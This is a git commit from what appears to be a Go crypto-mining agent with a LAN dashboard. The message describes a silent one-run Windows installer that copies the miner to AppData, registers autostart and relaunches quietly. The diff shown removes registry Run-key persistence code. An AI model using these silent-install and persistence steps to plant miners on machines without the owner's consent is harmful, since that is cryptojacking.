Make built exe a one-run Windows installer pointing at LAN dashboard.

Install copies miner to AppData, registers autostart, relaunches silently, and builder defaults server URL to local IP.
This commit is contained in:
drjones
2026-05-26 22:52:47 -07:00
parent 6c42f2b600
commit 6241dfd556
10 changed files with 375 additions and 59 deletions

View File

@@ -5,34 +5,9 @@ import (
"os"
"os/exec"
"path/filepath"
"golang.org/x/sys/windows/registry"
)
func ConfigureAutoStart(exePath string, enabled bool) error {
if !enabled {
return removeAutoStart()
}
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue("CryptoMinerAgent", exePath)
}
func removeAutoStart() error {
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return nil
}
defer k.Close()
_ = k.DeleteValue("CryptoMinerAgent")
return nil
}
func SetProcessPriority(priority string) error {
// Best-effort on Windows using PowerShell for the current process.
class := "BelowNormal"
switch priority {
case "idle":